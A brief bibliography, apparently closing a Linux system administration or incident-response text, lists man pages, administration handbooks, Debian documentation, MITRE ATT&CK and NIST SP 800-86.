- The Linux man-pages project. — https://man7.org/linux/man-pages/
- Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
- Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
- Debian. Debian Reference / Debian Policy: пакеты и APT. — https://www.debian.org/doc/manuals/debian-reference/
- MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
- NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.